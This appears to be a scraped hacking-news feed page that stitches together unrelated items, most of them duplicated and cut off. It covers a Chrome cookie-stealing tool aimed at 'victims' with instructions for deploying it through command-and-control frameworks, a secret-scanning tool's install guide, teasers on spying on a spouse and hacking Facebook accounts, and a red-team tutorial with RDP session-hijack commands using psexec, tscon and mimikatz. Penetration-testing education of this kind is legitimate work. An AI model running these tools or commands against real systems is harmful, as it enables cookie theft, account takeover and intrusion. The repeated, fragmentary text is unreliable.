Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Sharp Cookie Monster : Extracts Cookies From Chrome
Sharp Cookie Monster is a Sharp port of @defaultnamehere’s cookie-crimes module – full credit for their awesome work!
This C# project will dump cookies for all sites, even those with http Only/secure/session flags.
Usage
Simply run the binary.
SharpCookieMonster.exe [https://sitename.com] [chrome-debugging-port] [user data dir]
An optional first argument sepcifies the site that chrome will initially connect to when launched (default https://www.google.com).
An optional second argument specifies the port to launch the chrome debugger on (by default 9142).
Finally, an optional third argument specifies the path to the user data directory, which can be overridden in order to access different profiles etc (default %APPDATALOCAL%\Google\Chrome\User Data).
Building
The binary has been built to be compatible with .NET 3.5 in order to be compatible with victims with older versions of .NET installed. However in order to use WebSockets to communicate with Chrome the WebSocket4Net package was added.
If you want to run this down C2 such as using PoshC2’s
First rename the original binary then run:
ILMerge.exe /targetplatform:”v2,C:\Windows\Microsoft.NET\Framework\v2.0.50727″ /out:SharpCookieMonster.exe SharpCookieMonsterOriginal.exe WebSocket4Net.dll
Download
Sharp Cookie Monster : Extracts Cookies From Chrome
Sharp Cookie Monster is a Sharp port of @defaultnamehere’s cookie-crimes module – full credit for their awesome work!
This C# project will dump cookies for all sites, even those with http Only/secure/session flags.
Usage
Simply run the binary.
SharpCookieMonster.exe [https://sitename.com] [chrome-debugging-port] [user data dir]
An optional first argument sepcifies the site that chrome will initially connect to when launched (default https://www.google.com).
An optional second argument specifies the port to launch the chrome debugger on (by default 9142).
Finally, an optional third argument specifies the path to the user data directory, which can be overridden in order to access different profiles etc (default %APPDATALOCAL%\Google\Chrome\User Data).
Building
The binary has been built to be compatible with .NET 3.5 in order to be compatible with victims with older versions of .NET installed. However in order to use WebSockets to communicate with Chrome the WebSocket4Net package was added.
If you want to run this down C2 such as using PoshC2’s
sharpcookiemonstercommand or via CobaltStrike’s execute-assemblythen use ILMerge to merge the built executable with the WebSocket4Net.dll library.First rename the original binary then run:
ILMerge.exe /targetplatform:”v2,C:\Windows\Microsoft.NET\Framework\v2.0.50727″ /out:SharpCookieMonster.exe SharpCookieMonsterOriginal.exe WebSocket4Net.dll
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Talisman : By Hooking Talisman Validates The Outgoing Changeset For Things That Look Suspicious
Talisman is a tool that installs a hook to your repository to ensure that potential secrets or sensitive information do not leave the developer’s workstation.
It validates the outgoing changeset for things that look suspicious – such as potential SSH keys, authorization tokens, private keys etc. InstallationTalisman supports MAC OSX, Linux and Windows.
Talisman can be installed and used in one of the following ways:
* As a git hook as a global git hook template and a CLI utility (for git repo scanning)
* As a git hook into a single git repository
Talisman can be set up as either a pre-commit or pre-push hook on the git repositories.
Find the instructions below.
Disclaimer: Secrets creeping in via a forced push in a git repository cannot be detected by Talisman. A forced push is believed to be notorious in its own ways, and we suggest git repository admins to apply appropriate measures to authorize such activities. [Recommended approach]Installation as a global hook templateWe recommend installing Talisman as a pre-commit git hook template, as that will cause Talisman to be present, not only in your existing git repositories, but also in any new repository that you ‘init’ or ‘clone’.
* Run the following command on your terminal, to download and install the binary at $HOME/.talisman/bin
As a pre-commit hook:
curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/install.bash > /tmp/install_talisman.bash && /bin/bash /tmp/install_talisman.bash
OR
As a pre-push hook:
curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/install.bash > /tmp/install_talisman.bash && /bin/bash /tmp/install_talisman.bash pre-push
* If you do not have TALISMAN_HOME set up in your
Remember to execute source on the path file or restart your terminal. If you choose to set the
* Choose a base directory where Talisman should scan for all git repositories, and setup a git hook (pre-commit or pre-push, as chosen in step 1) as a symlink. This script will not clobber pre-existing hooks. If you have existing hooks, look for ways to chain Talisman into them.
* you can set SEARCH_ROOT environment variable with the path of the base directory before executing the installation so you don’t need to input it manually during the installation Handling existing hooksInstallation of Talisman globally does not clobber pre-existing hooks on repositories.
If the installation script finds any existing hooks, it will only indicate so on the console.
To achieve running multiple hooks we suggest (but not limited to) the following two tools
* Pre-commit (Linux/Unix)
Use pre-commit tool to manage all the existing hooks along with Talisman. In the suggestion, it will prompt the following code to be included in .pre-commit-config.yaml
repo: local
hooks:
id: talisman-precommit
name: talisman
entry: bash -c ‘if [ -n “${TALISMAN_HOME:-}” ]; then ${TALISMAN_HOME}/talisman_hook_script pre-commit; else echo “TALISMAN does not exist. Consider installing from https://github.com/thoughtworks/talisman . If you already have talisman installed, please ensure TALISMAN_HOME variable is set to where talisman_hook_script resides, for example, TALISMAN_HOME=${HOME}/.talisman/bin”; fi’
language: system
pass_filenames: false
types: [text]
verbose: true
* Husky (Linux/Unix/Windows)
husky is an npm module for managing git hooks. In order to use husky, make sure you have already set TALISMAN_HOME to
* Existing Users
If you already a[...]
Talisman : By Hooking Talisman Validates The Outgoing Changeset For Things That Look Suspicious
Talisman is a tool that installs a hook to your repository to ensure that potential secrets or sensitive information do not leave the developer’s workstation.
It validates the outgoing changeset for things that look suspicious – such as potential SSH keys, authorization tokens, private keys etc. InstallationTalisman supports MAC OSX, Linux and Windows.
Talisman can be installed and used in one of the following ways:
* As a git hook as a global git hook template and a CLI utility (for git repo scanning)
* As a git hook into a single git repository
Talisman can be set up as either a pre-commit or pre-push hook on the git repositories.
Find the instructions below.
Disclaimer: Secrets creeping in via a forced push in a git repository cannot be detected by Talisman. A forced push is believed to be notorious in its own ways, and we suggest git repository admins to apply appropriate measures to authorize such activities. [Recommended approach]Installation as a global hook templateWe recommend installing Talisman as a pre-commit git hook template, as that will cause Talisman to be present, not only in your existing git repositories, but also in any new repository that you ‘init’ or ‘clone’.
* Run the following command on your terminal, to download and install the binary at $HOME/.talisman/bin
As a pre-commit hook:
curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/install.bash > /tmp/install_talisman.bash && /bin/bash /tmp/install_talisman.bash
OR
As a pre-push hook:
curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/install.bash > /tmp/install_talisman.bash && /bin/bash /tmp/install_talisman.bash pre-push
* If you do not have TALISMAN_HOME set up in your
$PATH, you will be asked an appropriate place to set it up. Choose the option number where you set the profile source on your machine.Remember to execute source on the path file or restart your terminal. If you choose to set the
$PATHlater, please export TALISMAN_HOME=$HOME/.talisman/bin to the path.* Choose a base directory where Talisman should scan for all git repositories, and setup a git hook (pre-commit or pre-push, as chosen in step 1) as a symlink. This script will not clobber pre-existing hooks. If you have existing hooks, look for ways to chain Talisman into them.
* you can set SEARCH_ROOT environment variable with the path of the base directory before executing the installation so you don’t need to input it manually during the installation Handling existing hooksInstallation of Talisman globally does not clobber pre-existing hooks on repositories.
If the installation script finds any existing hooks, it will only indicate so on the console.
To achieve running multiple hooks we suggest (but not limited to) the following two tools
* Pre-commit (Linux/Unix)
Use pre-commit tool to manage all the existing hooks along with Talisman. In the suggestion, it will prompt the following code to be included in .pre-commit-config.yaml
repo: local
hooks:
id: talisman-precommit
name: talisman
entry: bash -c ‘if [ -n “${TALISMAN_HOME:-}” ]; then ${TALISMAN_HOME}/talisman_hook_script pre-commit; else echo “TALISMAN does not exist. Consider installing from https://github.com/thoughtworks/talisman . If you already have talisman installed, please ensure TALISMAN_HOME variable is set to where talisman_hook_script resides, for example, TALISMAN_HOME=${HOME}/.talisman/bin”; fi’
language: system
pass_filenames: false
types: [text]
verbose: true
* Husky (Linux/Unix/Windows)
husky is an npm module for managing git hooks. In order to use husky, make sure you have already set TALISMAN_HOME to
$PATH.* Existing Users
If you already a[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Talisman : By Hooking Talisman Validates The Outgoing Changeset For Things That Look Suspicious Talisman is a tool that installs a hook to your repository to ensure that potential secrets or sensitive information do not leave the developer’s…
re using husky, add the following lines to husky pre-commit in package.json Windows
“bash -c ‘\”%TALISMAN_HOME%\${TALISMAN_BINARY_NAME}\” –githook pre-commit'”
Linux/Unix
$TALISMAN_HOME/talisman_hook_script pre-commit
* New Users
If you want to use husky with multiple hooks along with talisman, add the following snippet to you package json. Windows
{
“husky”: {
“hooks”: {
“pre-commit”: “bash -c ‘\”%TALISMAN_HOME%\${TALISMAN_BINARY_NAME}\” –githook pre-commit'” && “other-scripts”
}
}
Linux/Unix
{
“husky”: {
“hooks”: {
“pre-commit”: “$TALISMAN_HOME/talisman_hook_script pre-commit” && “other-scripts”
}
}
} Installation to a single project#Download the talisman installer script
curl https://thoughtworks.github.io/talisman/install.sh > ~/install-talisman.sh
chmod +x ~/install-talisman.sh
#Install to a single project
cd my-git-project
as a pre-push hook
#~/install-talisman.sh
or as a pre-commit hook
#~/install-talisman.sh pre-commit Handling existing hooksTalisman will need to be chained with any existing git hooks.You can use pre-commit git hooks framework to handle this.
Add this to your
repo: https://github.com/thoughtworks/talisman
rev: ” # Update me!
hooks:
either
id: talisman-commit
id: talisman-push UpgradingSince release v0.4.4, Talisman automatically updates the binary to the latest release, when the hook is invoked (at pre-commit/pre-push, as set up). So, just sit back, relax, and keep using the latest Talisman without any extra efforts.
The following environment variables can be set:
* TALISMAN_SKIP_UPGRADE: Set to true if you want to skip the automatic upgrade check. Default is false
* TALISMAN_UPGRADE_CONNECT_TIMEOUT: Max connect timeout before the upgrade is cancelled(in seconds). Default is 10 seconds.
If at all you need to manually upgrade, here are the steps:
[Recommended] Update Talisman binary and hook scripts to the latest release:
curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/update_talisman.bash > /tmp/update_talisman.bash && /bin/bash /tmp/update_talisman.bash
Update only Talisman binary by executing:
curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/update_talisman.bash > /tmp/update_talisman.bash && /bin/bash /tmp/update_talisman.bash talisman-binary Talisman in actionAfter the installation is successful, Talisman will run checks for obvious secrets automatically before each commit or push (as chosen during installation). In case there are any security breaches detected, talisman will display a detailed report of the errors:
$ git push
Talisman Report:
+—————–+——————————————————————————-+
| FILE | ERRORS |
+—————–+——————————————————————————-+
| danger.pem | The file name “danger.pem” |
| | failed checks against the |
| | pattern ^.+.pem$ |
+—————–+——————————————————————————-+
| danger.pem | Expected file to not to contain hex encoded texts such as: |
| | awsSecretKey=c64e8c79aacf5ddb02f1274db2d973f363f4f553ab1692d8d203b4cc09692f79 |
+—————–+——————————————————————————-+
In the above example, the file danger.pem has been flagged as a security breach due to the following reasons:
* The filename matches one of the pre-configured patterns.
* The file contains an awsSecretKey which is scanned and flagged by Talisman
If you have installed Talisman as a pre-commit hook, it will scan only the diff within each commit. This means that it would only report errors for parts of the file that were changed.
In case you have installed Talisman as a pre-push hook, it will scan the complete file in which changes are made. As mentioned above, it is recommended that you use Talisman as a pre-commit hook. ValidationsThe following detectors execute against the changesets to detect secrets/sensit[...]
“bash -c ‘\”%TALISMAN_HOME%\${TALISMAN_BINARY_NAME}\” –githook pre-commit'”
Linux/Unix
$TALISMAN_HOME/talisman_hook_script pre-commit
* New Users
If you want to use husky with multiple hooks along with talisman, add the following snippet to you package json. Windows
{
“husky”: {
“hooks”: {
“pre-commit”: “bash -c ‘\”%TALISMAN_HOME%\${TALISMAN_BINARY_NAME}\” –githook pre-commit'” && “other-scripts”
}
}
Linux/Unix
{
“husky”: {
“hooks”: {
“pre-commit”: “$TALISMAN_HOME/talisman_hook_script pre-commit” && “other-scripts”
}
}
} Installation to a single project#Download the talisman installer script
curl https://thoughtworks.github.io/talisman/install.sh > ~/install-talisman.sh
chmod +x ~/install-talisman.sh
#Install to a single project
cd my-git-project
as a pre-push hook
#~/install-talisman.sh
or as a pre-commit hook
#~/install-talisman.sh pre-commit Handling existing hooksTalisman will need to be chained with any existing git hooks.You can use pre-commit git hooks framework to handle this.
Add this to your
.pre-commit-config.yaml(be sure to update revto point to a real git revision!)repo: https://github.com/thoughtworks/talisman
rev: ” # Update me!
hooks:
either
commitor pushsupportid: talisman-commit
id: talisman-push UpgradingSince release v0.4.4, Talisman automatically updates the binary to the latest release, when the hook is invoked (at pre-commit/pre-push, as set up). So, just sit back, relax, and keep using the latest Talisman without any extra efforts.
The following environment variables can be set:
* TALISMAN_SKIP_UPGRADE: Set to true if you want to skip the automatic upgrade check. Default is false
* TALISMAN_UPGRADE_CONNECT_TIMEOUT: Max connect timeout before the upgrade is cancelled(in seconds). Default is 10 seconds.
If at all you need to manually upgrade, here are the steps:
[Recommended] Update Talisman binary and hook scripts to the latest release:
curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/update_talisman.bash > /tmp/update_talisman.bash && /bin/bash /tmp/update_talisman.bash
Update only Talisman binary by executing:
curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/update_talisman.bash > /tmp/update_talisman.bash && /bin/bash /tmp/update_talisman.bash talisman-binary Talisman in actionAfter the installation is successful, Talisman will run checks for obvious secrets automatically before each commit or push (as chosen during installation). In case there are any security breaches detected, talisman will display a detailed report of the errors:
$ git push
Talisman Report:
+—————–+——————————————————————————-+
| FILE | ERRORS |
+—————–+——————————————————————————-+
| danger.pem | The file name “danger.pem” |
| | failed checks against the |
| | pattern ^.+.pem$ |
+—————–+——————————————————————————-+
| danger.pem | Expected file to not to contain hex encoded texts such as: |
| | awsSecretKey=c64e8c79aacf5ddb02f1274db2d973f363f4f553ab1692d8d203b4cc09692f79 |
+—————–+——————————————————————————-+
In the above example, the file danger.pem has been flagged as a security breach due to the following reasons:
* The filename matches one of the pre-configured patterns.
* The file contains an awsSecretKey which is scanned and flagged by Talisman
If you have installed Talisman as a pre-commit hook, it will scan only the diff within each commit. This means that it would only report errors for parts of the file that were changed.
In case you have installed Talisman as a pre-push hook, it will scan the complete file in which changes are made. As mentioned above, it is recommended that you use Talisman as a pre-commit hook. ValidationsThe following detectors execute against the changesets to detect secrets/sensit[...]
Kali Linux Tutorials
Talisman : By Hooking Talisman Validates The Outgoing Changeset For Things That Look Suspicious
Talisman : By Hooking Talisman Validates The Outgoing Changeset For Things That Look Suspicious
Kali Linux Tutorials
Talisman : By Hooking Talisman Validates The Outgoing Changeset
Talisman is a tool that installs a hook to your repository to ensure that potential secrets or sensitive information.
Solution to my $20 egg hunt (Part 3)
https://ethr.medium.com/solution-to-my-20-egg-hunt-part-3-705baa900df5?source=rss------bug_bounty-5
https://ethr.medium.com/solution-to-my-20-egg-hunt-part-3-705baa900df5?source=rss------bug_bounty-5
My latest article gave a significant hint towards solving the $20 challenge. This one will help you a few steps further…Continue reading on Medium » (https://ethr.medium.com/solution-to-my-20-egg-hunt-part-3-705baa900df5?source=rss------bug_bounty-5)
Hacking on Medium
VulnHub Walkthrough’s : BOX 1
https://cdn-images-1.medium.com/max/1000/1*9ySzR89nWySWx0LlSNvgfw.png
Vulnhub Walkthrough — Basic Pentesting 1 Box
Continue reading on Medium »
VulnHub Walkthrough’s : BOX 1
https://cdn-images-1.medium.com/max/1000/1*9ySzR89nWySWx0LlSNvgfw.png
Vulnhub Walkthrough — Basic Pentesting 1 Box
Continue reading on Medium »
Medium
VulnHub Walkthrough’s : BOX 1
Vulnhub Walkthrough — Basic Pentesting 1 Box
Hacking on Medium
How do you spy on a cheating spouse?
https://cdn-images-1.medium.com/max/1920/1*cUMUnRXhB0t9u-YIE3ED3g.jpeg
Cheating in a relationship can be caused by many different things. Some people may cheat because they are not satisfied with their current…
Continue reading on Medium »
How do you spy on a cheating spouse?
https://cdn-images-1.medium.com/max/1920/1*cUMUnRXhB0t9u-YIE3ED3g.jpeg
Cheating in a relationship can be caused by many different things. Some people may cheat because they are not satisfied with their current…
Continue reading on Medium »
Medium
How do you spy on a cheating spouse?
Cheating in a relationship can be caused by many different things. Some people may cheat because they are not satisfied with their current…
Hacking on Medium
Triton malware indictments, more Lapsus$ chaos and ShmooCon’s revival
https://cdn-images-1.medium.com/max/2500/1*G0nOwhSUcv-B-fbC9i-eLw.png
Welcome to Changelog for 3/27/22, published by Synack!
Continue reading on README_ »
Triton malware indictments, more Lapsus$ chaos and ShmooCon’s revival
https://cdn-images-1.medium.com/max/2500/1*G0nOwhSUcv-B-fbC9i-eLw.png
Welcome to Changelog for 3/27/22, published by Synack!
Continue reading on README_ »
Medium
Triton malware indictments, more Lapsus$ chaos and ShmooCon’s revival
Welcome to Changelog for 3/27/22, published by Synack! It’s me, Blake, your loyal ShmooCon correspondent. The celebrated D.C. cybersecurity…
Hacking on Medium
How Do Hackers access a Facebook Account?
https://cdn-images-1.medium.com/max/2600/1*Sy-PW8huuQLBHLCs9H24ZQ.jpeg
Facebook is a social networking service that allows its users to connect with friends and family as well as make new connections. Facebook…
Continue reading on Medium »
How Do Hackers access a Facebook Account?
https://cdn-images-1.medium.com/max/2600/1*Sy-PW8huuQLBHLCs9H24ZQ.jpeg
Facebook is a social networking service that allows its users to connect with friends and family as well as make new connections. Facebook…
Continue reading on Medium »
Medium
How Do Hackers access a Facebook Account?
Facebook is a social networking service that allows its users to connect with friends and family as well as make new connections. Facebook…
hacking: security in practice
The BLST Security openAPI specification scanner is now available. With it, you can upload your openAPI Swagger .json files and check for unused schemas, for any required parameters that are undefined, valid response codes, and many others.
submitted by /u/Glass_Guitar1959
[link] [comments]
The BLST Security openAPI specification scanner is now available. With it, you can upload your openAPI Swagger .json files and check for unused schemas, for any required parameters that are undefined, valid response codes, and many others.
submitted by /u/Glass_Guitar1959
[link] [comments]
reddit
The BLST Security openAPI specification scanner is now available....
Posted in r/hacking by u/Glass_Guitar1959 • 1 point and 0 comments
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Lateral Movement: Remote Services (Mitre:T1021)
IntroductionDuring Red Team assessments, after a compromise has been done, attackers tend to laterally move through the network gaining more relevant information on other systems. This lateral movement is possible through the use of many binaries/services/processes. In this article, we will be solely focusing on Lateral Movement using Remote Services, i.e., services that can help in code/command execution on remote systems by taking invalid set of credentials. Oftentimes, the same set of credentials are used within an organization and this type of lateral movement becomes very easy and effective.
MITRE TACTIC: Lateral Movement (TA0008)
MITRE TECHNIQUE ID: T1021 (Remote Services)
SUBTITLE: Multiple Titles (T1021.001, T1021.002, T1021.003, T1021.004, T1021.005, T1021.006) Table of Content* Background
* Understanding Attack Lab
* Lateral Movement through RDP (T1021.001)
* RDP Hijacking using Task Manager
* RDP Hijacking using Tscon
* RDP Hijacking using Mimikatz
* SharpRDP Authenticated Code Execution
* Lateral Movement through SMB (T1021.002)
* PsExec SMB RCE
* exe process creation
* Metasploit SMB Remote PsExec
* exe SMB RCE
* exe SMB RCE
* Lateral Movement through DCOM (T1021.003)
* application remote DCOM
* Lateral Movement through SSH (T1021.004)
* SSH Port Forwarding
* Lateral Movement through VNC (T1021.005)
* VNCinject payload
* Lateral Movement through WinRM (T1021.006)
* New-PSSession Powershell
* Invoke-Command Powershell
* Winrs
* Evil-Winrm
* Lateral Movement through Mimikatz
* Lateral Movement through WMI
* Lateral Movement through Invoke-WmiMethod
* Conclusion BackgroundLateral movement is very helpful in gathering more data by compromising more systems rather than relying on just a single system to gain higher privileges and eventually compromise entire network.
Certain services are specifically designed to provide remote sessions and they accept connections if valid credentials are provided. In domain networks, this basic authentication is replaced with Kerberos however, a set of valid credentials can still be used across the network and on multiple devices. For example, an HR admin account can be logged on to any HR system and more data can be fetched this way by moving laterally.
The aim of this article is to demonstrate as many methods as possible by exploiting most well-known remote services including RDP, SSH etc. By the end of the article, we will talk about services like mimikatz and wmi. These services essentially use one or more combinations of remote services to provide remote sessions.
Let’s start with RDP first and gradually move on to other services. Understanding Attack LabFor the article I have two setups in hand. One is an Active Directory setup with the domain “ignite.local” and the other is simple 2 windows devices connected on bridged with a Kali system in a non-domain environment. The details are as follows:
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmbm8u2riPC9F4WQYqIjZtwxz-BPaIkwLy51CQoeR1eihOSvqgJx9l4uzmjotKUwdp-FJh7l2zCUoZMSnsOX3boXUg-KXJMXb33yYAZHRMdn_mdGnr-bfRaavrxkS-LjoHzDbsJO2zXpvjsw0BIBVZHlOOSpUwGQ07AixZ-WXEbIIY1uUIOaV9J6bhFw/s16000/0.png?w=640&ssl=1 Lateral Movement through RDP (T1021.001)According to Microsoft, RDP is based on, and is an extension of, the T-120 family of protocol standards. A multichannel capable protocol allows for separate virtual channels for carrying the following information:
* presentation data
* serial device communication
* licensing information
* highly encrypted data, such as keyboard, mouse activity
In other words, it lets a user communicate with a remote server by providing him a fully functional GUI.
RDP Hijacking using Task Manager
When you connect to a user “Administrator” and open task manager-> [...]
Lateral Movement: Remote Services (Mitre:T1021)
IntroductionDuring Red Team assessments, after a compromise has been done, attackers tend to laterally move through the network gaining more relevant information on other systems. This lateral movement is possible through the use of many binaries/services/processes. In this article, we will be solely focusing on Lateral Movement using Remote Services, i.e., services that can help in code/command execution on remote systems by taking invalid set of credentials. Oftentimes, the same set of credentials are used within an organization and this type of lateral movement becomes very easy and effective.
MITRE TACTIC: Lateral Movement (TA0008)
MITRE TECHNIQUE ID: T1021 (Remote Services)
SUBTITLE: Multiple Titles (T1021.001, T1021.002, T1021.003, T1021.004, T1021.005, T1021.006) Table of Content* Background
* Understanding Attack Lab
* Lateral Movement through RDP (T1021.001)
* RDP Hijacking using Task Manager
* RDP Hijacking using Tscon
* RDP Hijacking using Mimikatz
* SharpRDP Authenticated Code Execution
* Lateral Movement through SMB (T1021.002)
* PsExec SMB RCE
* exe process creation
* Metasploit SMB Remote PsExec
* exe SMB RCE
* exe SMB RCE
* Lateral Movement through DCOM (T1021.003)
* application remote DCOM
* Lateral Movement through SSH (T1021.004)
* SSH Port Forwarding
* Lateral Movement through VNC (T1021.005)
* VNCinject payload
* Lateral Movement through WinRM (T1021.006)
* New-PSSession Powershell
* Invoke-Command Powershell
* Winrs
* Evil-Winrm
* Lateral Movement through Mimikatz
* Lateral Movement through WMI
* Lateral Movement through Invoke-WmiMethod
* Conclusion BackgroundLateral movement is very helpful in gathering more data by compromising more systems rather than relying on just a single system to gain higher privileges and eventually compromise entire network.
Certain services are specifically designed to provide remote sessions and they accept connections if valid credentials are provided. In domain networks, this basic authentication is replaced with Kerberos however, a set of valid credentials can still be used across the network and on multiple devices. For example, an HR admin account can be logged on to any HR system and more data can be fetched this way by moving laterally.
The aim of this article is to demonstrate as many methods as possible by exploiting most well-known remote services including RDP, SSH etc. By the end of the article, we will talk about services like mimikatz and wmi. These services essentially use one or more combinations of remote services to provide remote sessions.
Let’s start with RDP first and gradually move on to other services. Understanding Attack LabFor the article I have two setups in hand. One is an Active Directory setup with the domain “ignite.local” and the other is simple 2 windows devices connected on bridged with a Kali system in a non-domain environment. The details are as follows:
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmbm8u2riPC9F4WQYqIjZtwxz-BPaIkwLy51CQoeR1eihOSvqgJx9l4uzmjotKUwdp-FJh7l2zCUoZMSnsOX3boXUg-KXJMXb33yYAZHRMdn_mdGnr-bfRaavrxkS-LjoHzDbsJO2zXpvjsw0BIBVZHlOOSpUwGQ07AixZ-WXEbIIY1uUIOaV9J6bhFw/s16000/0.png?w=640&ssl=1 Lateral Movement through RDP (T1021.001)According to Microsoft, RDP is based on, and is an extension of, the T-120 family of protocol standards. A multichannel capable protocol allows for separate virtual channels for carrying the following information:
* presentation data
* serial device communication
* licensing information
* highly encrypted data, such as keyboard, mouse activity
In other words, it lets a user communicate with a remote server by providing him a fully functional GUI.
RDP Hijacking using Task Manager
When you connect to a user “Administrator” and open task manager-> [...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Lateral Movement: Remote Services (Mitre:T1021) IntroductionDuring Red Team assessments, after a compromise has been done, attackers tend to laterally move through the network gaining more relevant information on other systems. This lateral…
go to users-> you’d see this if a user “hex” is signed out currently but exists.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8UwTnXTVBDoJIjvbmNR2wVOpyBjxZoHi2H3efnroI-nXxB7kUsFN-yaVec8VGkog8a6Ps86vnXrKhb9O8cVeYz0qhExKwBAwnnoTUkSgL-plzCxUJNl6CCpNZRCRFUlMmop5m2VgT-gGHfgBqpC4HhXEhVCbIkwdau5dYM2OjzZLnrSN1WJ7gx1JOZg/s16000/1.png?w=640&ssl=1
You can click on hex and choose to connect
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibL5nZrGGyfCAps2TlKLNiAjRYg_su3zeB5tBGgebKAciUzvRxtNQ-P3CZu_AYkV57ihHm_4DK6zxvidYZB0ekllfJ2Xla73_Ub2kHxTGEDd_bRknCXSL51qjeZPF8N2jpU84hRkslynhC7A9pI3YnnleqJ4Bcn2m2RS9UjQw1crer7SNU1E1t6bZkmQ/s16000/2.png?w=640&ssl=1
Task manager would now ask for the credentials for user hex
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOL1KvSBTPA7VWHj-vFpl8WZheO3AQ8RWNJKUwjtPGlkXarXB7UOGTPanni_zc77neoPokrj5yMEpnrkazzEbKZCSW3dXeuN_spIO5jnDFK8WnDU5N5MVgBp9y21lbe6aFwmibwBhpTn6D0SyzUogMuvVEkNw8Yt1uXpcG-qgtCr3O8j2K_SHVxxHQAQ/s16000/3.png?w=640&ssl=1
You’d be successfully connected to hex now. As it can be confirmed in cmd
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglIxlueqtXN4zDUoDORnryr9mfxhRtBpgwRxoC1Vi5gEfMfnsf1QO-zkCd_FY1XEliDDR1uN9dLdr2ppdg_Q2C6z-FFTuLLQG9LFlcB2pHfVEpKRXhkuhZPBUKxsdgA38f0kM5CY8zxPFHl7HQGWpAW_jQiRpf1RszJBDwmInuRkFyX_K62DH5CN5nwA/s16000/4.png?w=640&ssl=1
RDP Hijacking using Tscon
tscon is a Microsoft Windows utility that was introduced the release of Windows Server 2012. It is used to connect to another session on a Remote Desktop Session Host server. It requires the destination and the session id to work. The User credentials can also be passed as parameters in tscon. Read more about it here.
Now the interesting thing is, if you have managed to achieve SYSTEM level permissions (NT AUTHORITY\SYSTEM), you could switch RDP sessions using tscon without needing password. This worked on older versions of Windows 10 flawlessly. In newer versions, there is still a need for passwords.
So, we first achieve NT AUTHORITY\SYSTEM on our compromised system using psexec and then see interactive sessions. We switch to the desired session (number 3 here) and use /DEST switch to switch current connection (rdp-tcp#9) with the user in 3rd session.
whoami
psexec64.exe -s cmd
whoami
query user
cmd /k tscon 3 /DEST:rdp-tcp#9
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR326WYaKMMD0mTHM4wdWejoNGaDT05rM3T8J2rSzJgpwuI7mqL-UI1jHe7AOg643hyK2bB9ieuGEpx92_RSu849B-T90AEh6upm6XkYMXhPlf-WIMeQtg3wUrN5AVyA6KJ-axFr_Ix4KG5jM5HXQIJ2dNtB2eMANxO0j98C7S-tki05FEo-3L0gehQw/s16000/5.png?w=640&ssl=1
It will immediately open a new user “hex” in the same Remote Desktop Connection! This can be verified by whoami
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdbDxe9AfbBr_ofCuAkIAuh2V7r5ibgLzFouT5mB7gkiK7hM5k93WQ0PFqFsoiPQpqRGNRuk6O7TFiPdwvpQA_7xKAgm7TCTKuSWiHyoUQuVgVc_BunPFa5l1H7cb9D65eMk1hizsN4PlntKlD7EWf5be28LVYZZdsUWXWVGKQCOkIA7FxEssxQc77jQ/s16000/6.png?w=640&ssl=1
RDP Hijacking using Mimikatz
Mimikatz includes a module “ts” to play with RDP sessions. It is an implementation of tscon only with added features of mimikatz. We can see active user sessions using
ts::sessions
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXUsKIuox50VQD0kpqSvOqqw0zP1zEp2mFxHtH1p_GizC0Q-bFTR_9kpn9kdaYY_ZmkPEf2F_j7v4RisWVsocc6oqpXsFKkcNfK3H3sNBoc6iVs7MtB6Z8yCGAZ8uFvrl4rIEiBsCdTnOIrAsA9GYqsWBVU-AEeaGuYwBwO4eX5ADaddiSO_UsyGh-Tw/s16000/7.png?w=640&ssl=1
We have a disconnected user hex on session ID 3. Let’s connect to it. What we did using psexec, mimikatz does it automatically by using token impersonation to elevate privileges.
privilege::debug
token::elevate
ts::remote /id:3
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4JX5G2XMtXbPPgEt7WW9un2I5tQ2hZwtX6YxXhk20HDIptBpKPMMlIOCci4XHxo4aoE_F_PhF48e0f58jU0bcOSidHC1qg8EvaGuouO55qq1mPYDNrRH-n_6yH6PnyUJhHH4XdHKYyfXnCZUlxi5rZ6lJEkQta[...]
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8UwTnXTVBDoJIjvbmNR2wVOpyBjxZoHi2H3efnroI-nXxB7kUsFN-yaVec8VGkog8a6Ps86vnXrKhb9O8cVeYz0qhExKwBAwnnoTUkSgL-plzCxUJNl6CCpNZRCRFUlMmop5m2VgT-gGHfgBqpC4HhXEhVCbIkwdau5dYM2OjzZLnrSN1WJ7gx1JOZg/s16000/1.png?w=640&ssl=1
You can click on hex and choose to connect
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibL5nZrGGyfCAps2TlKLNiAjRYg_su3zeB5tBGgebKAciUzvRxtNQ-P3CZu_AYkV57ihHm_4DK6zxvidYZB0ekllfJ2Xla73_Ub2kHxTGEDd_bRknCXSL51qjeZPF8N2jpU84hRkslynhC7A9pI3YnnleqJ4Bcn2m2RS9UjQw1crer7SNU1E1t6bZkmQ/s16000/2.png?w=640&ssl=1
